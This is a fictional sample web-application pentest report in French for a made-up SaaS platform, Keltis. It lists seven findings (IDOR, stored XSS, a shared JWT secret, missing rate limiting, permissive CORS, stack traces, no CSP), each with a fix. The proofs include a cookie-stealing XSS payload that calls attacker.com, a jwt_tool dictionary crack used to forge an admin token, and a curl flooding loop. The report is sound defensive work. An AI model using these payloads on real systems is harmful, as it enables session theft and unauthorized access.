Rapport exemple
Ce que vous recevez après un pentest
Rapport fictif d'un pentest application web réalisé sur une plateforme SaaS B2B. Mêmes standards de documentation, même format, même niveau de détail que nos rapports clients. Les noms, URLs et données sont entièrement fictifs.
Synthèse exécutive
Périmètre
L'audit a porté sur la plateforme Keltis, application SaaS B2B de gestion de projets et de facturation, accessible à l'adresse app.keltis-demo.fr. Le périmètre couvrait l'application web (React SPA), l'API REST (Node.js/Express), les mécanismes d'authentification et d'autorisation, ainsi que la configuration de sécurité de l'infrastructure exposée. L'approche grey box a été retenue : un compte utilisateur avec le rôle editor a été fourni, sans accès au code source.
Résultats
L'audit a identifié 7 vulnérabilités dont une critique permettant la forge de tokens d'administration via un secret JWT trivial. La faille la plus sévère (secret JWT dérivé du nom de la plateforme, partagé entre staging et production) permet à tout attaquant de s'authentifier avec n'importe quel rôle.
Les mécanismes d'authentification et de hashing sont correctement implémentés. Les failles identifiées concernent principalement le contrôle d'accès (autorisation) et la configuration de sécurité. L'effort de remédiation estimé est de 3 à 5 jours de développement.
Recommandations prioritaires
Effectuer une rotation immédiate du secret JWT, migrer vers RS256 (clé asymétrique) et séparer les secrets par environnement (VCT-003)
Corriger l'IDOR sur les factures — implémenter la vérification d'appartenance à l'organisation sur tous les endpoints manipulant des ressources inter-tenant (VCT-001)
Sanitizer toutes les entrées utilisateur avec DOMPurify et déployer une Content Security Policy (VCT-002, VCT-007)
Implémenter du rate limiting sur les endpoints d'authentification et de réinitialisation de mot de passe (VCT-004)
Remplacer la réflexion dynamique de l'Origin par une whitelist explicite de domaines autorisés (VCT-005)
Supprimer les stack traces, versions et chemins serveur des réponses d'erreur en production (VCT-006)
Description de l'audit
Systèmes testés
| Composant | Description |
|---|---|
| Application web | Interface utilisateur Keltis (React SPA) — app.keltis-demo.fr |
| API REST | Backend Node.js/Express — app.keltis-demo.fr/api/v2/* |
| Authentification | JWT (HS256) + OAuth2 (Google Workspace SSO) |
| Base de données | PostgreSQL 15 — accès indirect via l'API uniquement |
| Infrastructure | AWS (ECS Fargate, ALB, RDS, S3) — évaluation limitée aux headers et réponses HTTP |
Méthodologie et outils
Les tests ont été conduits selon la méthodologie OWASP Testing Guide v4.2, complétée par le référentiel OWASP API Security Top 10 (2023). Chaque finding est vérifié manuellement et confirmé par exploitation active (Live-Confirmed).
Catégories de vérification
| Catégorie | Périmètre |
|---|---|
| Authentification | Mécanismes de connexion, gestion des sessions, MFA, politique de mots de passe |
| Autorisation | Contrôle d'accès horizontal et vertical, IDOR, gestion des rôles (RBAC) |
| Injection | XSS (reflected, stored, DOM), SQL injection, command injection, template injection |
| Cryptographie | Gestion des secrets, algorithmes de chiffrement, tokens, certificats |
| Configuration | Headers HTTP, CORS, CSP, gestion des erreurs, exposition d'informations |
| Logique métier | Workflows, validation des entrées, race conditions, abus de fonctionnalités |
| Gestion des fichiers | Upload/download de fichiers, contrôle de type MIME, stockage sécurisé |
Périmètre et restrictions
- — Tests de déni de service (DoS/DDoS) — exclus du périmètre
- — Ingénierie sociale et phishing — non testés
- — Audit du code source — non inclus (grey box : le code n'a pas été fourni)
- — Infrastructure AWS sous-jacente — évaluée uniquement via les réponses HTTP
- — Applications mobiles — hors périmètre (API uniquement)
- — Environnement staging (staging.keltis-demo.fr) — testé uniquement pour la vérification du secret JWT partagé
Échelle de sévérité
Les vulnérabilités sont classées selon le score CVSS 3.1 et l'impact métier estimé.
| Niveau | Description |
|---|---|
| Critical | Exploitation immédiate possible, impact majeur sur la confidentialité, l'intégrité ou la disponibilité. Correction en urgence. |
| High | Exploitation probable, impact significatif. Correctif à appliquer dans les 7 jours. |
| Medium | Exploitation possible sous certaines conditions. Correctif à planifier dans les 30 jours. |
| Low | Impact limité ou exploitation difficile. À corriger lors du prochain cycle de développement. |
| Info | Observation ou recommandation de durcissement. Pas de risque immédiat mais améliore la posture de sécurité. |
Vue d'ensemble des vulnérabilités
Matrice de correspondance entre les findings identifiés et les catégories de vérification OWASP.
| ID | Finding | Sev. | Authent. | Autoris. | Injection | Crypto. | Config. | Logique | Fichiers |
|---|---|---|---|---|---|---|---|---|---|
| VCT-001 | IDOR — Accès aux factures | HIGH | — | ✓ | — | — | — | — | — |
| VCT-002 | Stored XSS — Commentaires | HIGH | — | — | ✓ | — | — | — | — |
| VCT-003 | JWT secret partagé | CRITICAL | ✓ | — | — | ✓ | ✓ | — | — |
| VCT-004 | Rate limiting absent | MEDIUM | ✓ | — | — | — | ✓ | — | — |
| VCT-005 | CORS permissif | MEDIUM | — | — | — | — | ✓ | — | — |
| VCT-006 | Stack traces exposées | LOW | — | — | — | — | ✓ | — | — |
| VCT-007 | Absence de CSP | INFO | — | — | — | — | ✓ | — | — |
Findings
Contexte
Les vulnérabilités de type IDOR (Insecure Direct Object Reference) surviennent lorsqu'une application utilise des identifiants séquentiels ou prévisibles pour accéder à des ressources, sans vérifier que l'utilisateur authentifié est autorisé à y accéder. Dans les plateformes multi-tenant, ce type de faille peut compromettre l'isolation entre organisations et exposer les données de l'ensemble des clients.
Description
Les endpoints GET /api/v2/invoices/:id et PUT /api/v2/invoices/:id ne vérifient pas l'appartenance de la facture à l'organisation authentifiée. En incrémentant le paramètre id, un utilisateur authentifié peut lire et modifier les factures, montants et coordonnées bancaires de toutes les organisations de la plateforme.
Requête — accès à une facture d'une autre organisation
GET /api/v2/invoices/1337 HTTP/2 Host: app.keltis-demo.fr Authorization: Bearer eyJhbG...kOrg42 X-Organization-Id: 42 # notre org de test
Réponse — facture de l'organisation 7 (pas la nôtre)
200 OK { "id": 1337, "organization_id": 7, "organization_name": "Nexora Health SAS", "amount": 14 850.00, "iban": "FR76 3000 4028 3700 0100 0425 682", "status": "paid", "pdf_url": "/storage/invoices/1337.pdf" }
Correctif proposé
// middleware/authorization.ts async function checkInvoiceOwnership(req, res, next) { const invoice = await Invoice.findById(req.params.id); if (invoice.organization_id !== req.user.organization_id) { return res.status(403).json({ error: "Forbidden" }); } next(); } // Appliquer sur toutes les routes /invoices/:id // + remplacer les IDs séquentiels par des UUIDs
Contexte
Le Cross-Site Scripting stocké (Stored XSS) est l'une des formes les plus dangereuses d'injection côté client. Contrairement au XSS reflété, le payload malveillant est persisté en base de données et s'exécute automatiquement dans le navigateur de chaque utilisateur qui consulte la page compromise, sans interaction nécessaire.
Description
Le champ commentaire des projets accepte du contenu HTML non filtré. Une balise image avec un attribut onerror permet l'exécution de JavaScript arbitraire dans le navigateur de tout utilisateur qui consulte le projet.
Payload injecté
POST /api/v2/projects/89/comments HTTP/2 Content-Type: application/json { "body": "<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>" }
Impact
• Vol de session : le cookie de session est envoyé à l'attaquant • Persistant : le script s'exécute à chaque consultation du projet • Propagation : tous les membres du projet sont impactés • Contexte admin : si un admin consulte le projet, l'attaquant obtient une session admin
Correctif proposé
// Utiliser DOMPurify côté serveur avant stockage import DOMPurify from 'isomorphic-dompurify'; const clean = DOMPurify.sanitize(req.body.body, { ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'code'], ALLOWED_ATTR: ['href'], }); // + Ajouter Content-Security-Policy header // + Activer le flag HttpOnly sur les cookies de session
Contexte
Les JSON Web Tokens (JWT) reposent sur un secret de signature pour garantir l'intégrité et l'authenticité des tokens. Si ce secret est faible, partagé entre environnements ou compromis, un attaquant peut forger des tokens arbitraires avec n'importe quel rôle ou identité.
Description
Le secret de signature JWT est identique entre les environnements staging et production. Un token généré sur staging (accessible à toute l'équipe de développement) est accepté sur production. La clé est un mot dérivé du nom de la plateforme, trivial à deviner.
Preuve — secret cracké par attaque par dictionnaire
# 1. Extraction du secret depuis un token JWT capturé (jwt_tool + rockyou.txt) $ python3 jwt_tool.py eyJhbG...kOrg42 -C -d rockyou.txt [+] Secret trouvé : keltis2024 # 2. Le même secret fonctionne sur staging et production $ jwt.sign({ user_id: 1, role: "admin" }, "keltis2024") → Token accepté sur app.keltis-demo.fr (production)
Correctif proposé
# 1. Générer un secret unique par environnement (256 bits minimum) $ openssl rand -base64 64 # 2. Stocker dans un vault (AWS Secrets Manager, HashiCorp Vault) # 3. Rotation automatique tous les 90 jours # 4. Invalider tous les tokens existants après rotation # 5. Passer à RS256 (clé asymétrique) pour éliminer le risque de secret partagé
Contexte
L'absence de rate limiting sur les endpoints sensibles expose l'application à des attaques par force brute, l'énumération de comptes et l'abus de ressources. Les endpoints d'authentification et de réinitialisation de mot de passe sont des cibles privilégiées pour ce type d'attaque.
Description
L'endpoint POST /api/v2/auth/reset-password n'implémente aucun rate limiting. Un attaquant peut envoyer des milliers de requêtes de réinitialisation, provoquant un spam massif d'emails et une énumération des comptes existants.
Test — 100 requêtes en 10 secondes, aucun blocage
$ for i in $(seq 1 100); do curl -s -o /dev/null -w "%{http_code}" \ -X POST https://app.keltis-demo.fr/api/v2/auth/reset-password \ -d '{"email":"test@example.com"}' done Résultat : 100x 200 OK — 100 emails envoyés, aucun blocage
Correctif proposé
// express-rate-limit const resetLimiter = rateLimit({ windowMs: 15 * 60 * 1000, // 15 minutes max: 3, keyGenerator: (req) => req.body.email || req.ip, }); // + Réponse identique que l'email existe ou non (anti-énumération) // + CAPTCHA après la 2e tentative
Contexte
La politique Cross-Origin Resource Sharing (CORS) définit quels domaines tiers peuvent effectuer des requêtes vers l'API. Lorsque le serveur reflète dynamiquement l'en-tête Origin de la requête sans validation et autorise l'envoi de credentials, n'importe quel site malveillant peut effectuer des requêtes authentifiées au nom de l'utilisateur victime.
Description
L'API reflète dynamiquement le header Origin de la requête dans Access-Control-Allow-Origin sans vérification, combiné avec Access-Control-Allow-Credentials: true. Un site malveillant peut effectuer des requêtes API authentifiées au nom de l'utilisateur victime.
Headers de réponse — l'Origin est reflété sans validation
# Requête depuis un domaine attaquant Origin: https://evil.com # Réponse — le serveur reflète l'Origin tel quel HTTP/2 200 OK Access-Control-Allow-Origin: https://evil.com Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Correctif proposé
// cors.ts — whitelist explicite const allowedOrigins = [ 'https://app.keltis-demo.fr', 'https://admin.keltis-demo.fr', ]; app.use(cors({ origin: (origin, callback) => { if (allowedOrigins.includes(origin)) callback(null, true); else callback(new Error('Not allowed')); }, credentials: true, }));
Contexte
L'exposition d'informations techniques dans les messages d'erreur fournit aux attaquants des détails sur la stack technologique, les versions des composants et l'arborescence du serveur. Ces informations facilitent la phase de reconnaissance et l'identification de vulnérabilités connues (CVE).
Description
Les erreurs 500 renvoient la stack trace complète, le numéro de version de Node.js et Express, et les chemins absolus du serveur. Ces informations facilitent la reconnaissance et l'exploitation de vulnérabilités connues.
Réponse d'erreur en production
500 Internal Server Error { "error": "Cannot read properties of null", "stack": "TypeError: Cannot read properties of null\n at /home/deploy/keltis/src/controllers/billing.js:142:23", "environment": "production", "node_version": "v18.17.0", "express_version": "4.18.2" }
Correctif proposé
// Error handler — production uniquement app.use((err, req, res, next) => { const isProduction = process.env.NODE_ENV === 'production'; res.status(err.status || 500).json({ error: isProduction ? 'Internal Server Error' : err.message, // Jamais de stack/version en production }); });
Contexte
La Content Security Policy (CSP) est un mécanisme de défense en profondeur qui restreint les sources de contenu exécutable dans le navigateur. En l'absence de CSP, l'exploitation de vulnérabilités XSS est facilitée car le navigateur n'applique aucune restriction sur l'exécution de scripts.
Description
L'application ne définit aucun header Content-Security-Policy. L'absence de CSP facilite l'exploitation de vulnérabilités XSS en permettant l'exécution de scripts inline et le chargement de ressources depuis n'importe quel domaine.
Header manquant
# Headers de réponse actuels — aucun header de sécurité X-Powered-By: Express # à supprimer aussi # Content-Security-Policy : absent # X-Frame-Options : absent # X-Content-Type-Options : absent # Strict-Transport-Security : absent
Correctif proposé
// helmet.js — headers de sécurité en un seul middleware import helmet from 'helmet'; app.use(helmet({ contentSecurityPolicy: { directives: { defaultSrc: ["'self'"], scriptSrc: ["'self'"], styleSrc: ["'self'", "'unsafe-inline'"], imgSrc: ["'self'", "data:"], }, }, }));
Points positifs
Le rapport inclut aussi les bonnes pratiques observées pendant l'audit.
| Contrôle | Statut | Observation |
|---|---|---|
| Hashing des mots de passe | ✓ Conforme | bcrypt avec cost factor 12 — conforme aux recommandations OWASP. |
| Transport HTTPS | ✓ Conforme | TLS 1.3 uniquement, HSTS activé avec preload, certificat Let’s Encrypt renouvelé automatiquement. |
| Protection CSRF | ✓ Conforme | Tokens CSRF synchronisés sur toutes les mutations. Double-submit cookie pattern correctement implémenté. |
| Séparation des rôles | ✓ Conforme | Modèle RBAC cohérent avec 4 rôles (viewer, editor, admin, owner). Middleware appliqué systématiquement. |
| Gestion des dépendances | ✓ Conforme | Lock file à jour, aucune dépendance avec CVE critique connue au moment du test. |
| Logging applicatif | ✓ Conforme | Journalisation structurée (JSON) des événements d'authentification, d'autorisation et d'erreur. Rétention 90 jours. |
| Gestion des sessions | ✓ Conforme | Expiration des tokens JWT à 15 minutes, refresh tokens avec rotation. Invalidation côté serveur via blacklist Redis. |
| Validation des entrées | ⚠ Partiel | Validation Zod côté serveur sur la majorité des endpoints. Quelques endpoints legacy sans validation (cf. VCT-002). |
| Sauvegarde des données | ✓ Conforme | Snapshots RDS automatiques quotidiens avec rétention 30 jours. Point-in-time recovery activé. |
| Versioning de l'API | ✓ Conforme | API versionnée (v2), endpoints dépréciés documentés, migration progressive des clients. |
| Isolation des environnements | ⚠ Partiel | Comptes AWS séparés pour staging et production, mais secret JWT partagé (cf. VCT-003). |
| Déploiement | ✓ Conforme | CI/CD via GitHub Actions avec build, tests et deploy automatisés. Images Docker signées. |
Annexe A : Inventaire des endpoints
Liste des endpoints identifiés et testés pendant l'audit, avec leur niveau d'accès requis.
| Endpoint | Méthode | Accès | Comportement |
|---|---|---|---|
| /api/v2/auth/login | POST | Public | Authentification par email/mot de passe |
| /api/v2/auth/register | POST | Public | Création de compte et organisation |
| /api/v2/auth/reset-password | POST | Public | Demande de réinitialisation (cf. VCT-004) |
| /api/v2/auth/refresh | POST | Authentifié | Renouvellement du token JWT |
| /api/v2/auth/sso/google | GET | Public | Initiation du flux OAuth2 Google |
| /api/v2/users/me | GET/PUT | Authentifié | Profil de l'utilisateur connecté |
| /api/v2/organizations/:id | GET/PUT | Admin | Détails et modification de l'organisation |
| /api/v2/projects | GET/POST | Authentifié | Liste et création de projets |
| /api/v2/projects/:id | GET/PUT/DELETE | Editor+ | Gestion d'un projet spécifique |
| /api/v2/projects/:id/comments | GET/POST | Viewer+ | Commentaires sur un projet (cf. VCT-002) |
| /api/v2/invoices | GET | Admin | Liste des factures de l'organisation |
| /api/v2/invoices/:id | GET/PUT | Admin | Détail et modification d'une facture (cf. VCT-001) |
| /api/v2/invoices/:id/pdf | GET | Admin | Téléchargement PDF de la facture |
| /api/v2/members | GET/POST/DELETE | Admin | Gestion des membres de l'organisation |
| /api/v2/members/:id/role | PUT | Owner | Modification du rôle d'un membre |
| /api/v2/webhooks | GET/POST/DELETE | Admin | Configuration des webhooks |
Annexe B : Headers de sécurité
Vérification de la présence et de la configuration des headers de sécurité HTTP sur chaque groupe d'endpoints.
| Header | App | API | Public |
|---|---|---|---|
| Content-Security-Policy | ✗ Absent | ✗ Absent | ✗ Absent |
| X-Frame-Options | ✗ Absent | N/A | ✗ Absent |
| X-Content-Type-Options | ✓ nosniff | ✓ nosniff | ✗ Absent |
| Strict-Transport-Security | ✓ Présent | ✓ Présent | ✗ Absent |
| Referrer-Policy | ✗ Absent | ✗ Absent | ✗ Absent |
| Permissions-Policy | ✗ Absent | ✗ Absent | ✗ Absent |
| X-Powered-By | ✗ Express | ✗ Express | N/A |
| Cache-Control | ✓ no-store | ✓ no-store | ⚠ Absent |
Annexe C : Configuration TLS
Configuration du transport sécurisé observée sur app.keltis-demo.fr.
| Propriété | Valeur |
|---|---|
| Protocole | TLS 1.3 uniquement (TLS 1.0, 1.1, 1.2 désactivés) |
| Cipher suites | TLS_AES_256_GCM_SHA384, TLS_CHACHA20_POLY1305_SHA256, TLS_AES_128_GCM_SHA256 |
| Certificat | Let's Encrypt RSA 2048-bit, validité 90 jours, renouvellement automatique |
| HSTS | max-age=31536000; includeSubDomains; preload |
| OCSP Stapling | Activé |
| Forward Secrecy | Oui (ECDHE) |
| Qualys SSL Labs | Grade A |
Avertissement
Ce rapport est un exemple fictif créé à des fins de démonstration. L'entreprise Vectis SaaS, la plateforme Keltis et toutes les données présentées sont entièrement fictives. Le format, le niveau de détail et la structure correspondent à un rapport réel livré par Salvor Labs. Les rapports clients sont adaptés au périmètre audité et peuvent contenir plus ou moins de findings.
Un rapport comme celui-ci pour votre application
Pentest applicatif par un pentester senior spécialisé SaaS. Findings documentés avec preuves d'exploitation, score CVSS et correctifs applicables. Retest gratuit sous 30 jours.